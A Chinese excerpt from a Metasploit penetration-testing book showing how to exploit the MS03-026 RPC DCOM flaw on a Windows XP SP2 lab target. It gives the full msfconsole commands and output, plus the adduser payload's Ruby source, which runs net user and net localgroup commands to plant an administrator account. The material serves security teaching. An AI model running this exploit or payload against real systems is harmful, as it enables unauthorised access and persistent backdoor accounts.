本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第3章3.3节 在Windows XP SP2上进行渗透测试8.7 使用Metasploit进行模糊测试,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。
3.3 在Windows XP SP2上进行渗透测试8.7 使用Metasploit进行模糊测试
Metasploit渗透测试手册
本节中我们将介绍如何使用Metasploit攻陷运行着Windows XP操作系统的目标机器,其中需要使用前面章节中讲到的一些命令,进一步选择漏洞利用代码和攻击载荷,并设置各种必需的参数。
准备
首先在msfconsole中进行渗透测试过程。启动控制台,扫描端口搜集目标机器的信息,前面已经详细讨论过端口扫描的相关内容,这里假设已搜集到目标机器的信息,并确定其运行的是Windows XP操作系统,接下来选择漏洞利用代码和攻击载荷。
怎样实现
若要在Windows XP SP2上进行渗透测试,需遵循如下步骤。
(1)主要目标是选择可用于Windows XP的漏洞利用代码,用户可以浏览/exploits/ window目录,或简单地搜索有哪些可用于Windows XP的漏洞利用代码。我们将使用RPC dcom漏洞对目标进行渗透,所以先对RPC dcom漏洞进行搜索,可使用如下命令。
msf exploit(ms03_026_dcom) > search dcom
Matching Modules
================
Name Disclosure Date Rank Description
---- -------------- --- -----------
exploit/windowsdcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC
xploit/windows/driver/broadcom_wifi_ssid 2006-11-11 low Broadcom Wireless
xploit/windows/smb/ms04_031_netdde 2004-10-12 good Microsoft NetDDE
从结果可以看到,共搜索到3个相关的结果。选择使用第一个,因为该漏洞利用代码的评级为great,预示着使用该漏洞利用代码成功的几率更大。
(2)为将exploit/windows/dcerpc/ms03_026_dcom设置为可用的漏洞利用代码,可执行如下命令。
msf exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) >
命令行提示符的改变表明该命令已经运行成功。
(3)下一步为该漏洞利用代码设置必要的参数,show options命令可以列出该漏洞利用代码的可用参数,之后使用set命令即可对参数进行设置,其中一些参数会有默认值。
msf exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 135 yes The target port
Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
这里,RHOST用于指定远程目标主机的IP地址,RPORT用于指定默认的绑定端口。默认情况下,RPORT的值设置为135端口,我们需要将RHOST设置为实际的目标主机IP地址。
msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf exploit(ms03_026_dcom) >
注意ms03_026_dcom漏洞利用代码的ID设置为0,这意味着不需要指定目标上运行的具体Windows类型,本漏洞利用代码适用于该项目列出的所有Windows版本。其他的漏洞利用代码一般都需要使用show targets命令来选择目标操作系统。
目前,RHOST的值已经被设置为目标IP地址,如果此时运行漏洞利用代码,会产生错误消息,因为还没有为该漏洞利用代码选择攻击载荷。
(4)下一步选择合适的攻击载荷,可以使用命令show payloads列出所有可用的攻击载荷。这里选择使用简单的windows/adduser攻击载荷,其功能是在目标机器操作系统中添加新用户。
msf exploit(ms03_026_dcom) > set PAYLOAD windows/adduser
PAYLOAD => windows/adduser
(5)再次运行show options命令,将列出漏洞利用代码与攻击载荷的所有参数。攻击载荷参数形式如下所示。
Payload options (windows/adduser):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes seh, thread, process,
none
PASS metasploit yes password for this user
USER metasploit yes The username to create
从结果可以看到,添加到目标操作系统中的缺省用户名和口令都是metasploit,如果要更改这些值,可以使用set PASS命令和set USER命令。
(6)攻击载荷已经设置完成,下面可以对目标机器进行渗透,使用下面的命令运行该漏洞利用代码。
msf exploit(ms03_026_dcom) > exploit
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Sending exploit ...
[*] Exploit completed, but no session was created.
最后一行输出表明,漏洞利用代码在目标机器上已经成功运行完毕,并在其上添加了新用户。还可以看出,并没有创建新的会话,这是因为选用的攻击载荷是一个简单的adduser,该攻击载荷不需要活跃会话,因此,该漏洞利用代码运行后,与目标机器的连接即告终止。下一节将介绍如何使用攻击载荷建立会话。
怎样工作
在处理TCP/IP消息交换的RPC协议中存在漏洞,漏洞的成因是对畸形消息的处理存在错误,该漏洞影响分布式组件对象模型(DCOM)接口(该接口在激活了RPC的端口上进行监听),所以,需要在目标机器上存在运行RPC服务的可用端口。
该接口用于处理客户端向服务器发送的DCOM对象激活请求,成功利用该漏洞后,攻击者可在受影响系统上以本地系统权限运行任意代码,并在目标机器上执行某些操作,例如安装程序、查看/修改/删除数据,或创建高权限的用户账号。
要了解该漏洞的更多细节,可以参考如下的微软安全公告链接。
http://technet.microsoft.com/en-us/security/bulletin/ms03-026
为了理解adduser攻击载荷的工作机理,需要对该载荷的ruby代码进行分析,并找到如下位置。
root@bt:~# cd /pentest/exploits/framework3/modules/payloads/singles/
windows
root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows#
less adduser.rb
观察下面的代码。
# Register command execution options
register_options(
[
OptString.new('USER', [ true, "The
username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The
password for this user", "metasploit" ]),
], self.class)
# Hide the CMD option
deregister_options('CMD')
end
#
# Override the exec command string
#
def command_string
user = datastore['USER'] || 'metasploit'
pass = datastore['PASS'] || ''
if(pass.length > 14)
raise ArgumentError, "Password for the adduser
payload must be 14 characters or less"
end
return "cmd.exe /c net user #{user} #{pass} /ADD && "
+
"net localgroup Administrators #{user} /ADD"
end
读者可以通过阅读#符号注释后面的介绍以理解代码的功能,上面的代码是简单。首先为用户名和口令注册相应值,然后隐藏CMD函数,以便在攻击载荷执行时不会出现在屏幕上,之后覆盖windows/exec载荷,传递参数值,并启动隐秘的命令提示符在后台执行相应命令。
读者可以根据需要对这段代码进行修改,这将有助于对攻击载荷的深入理解。
本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。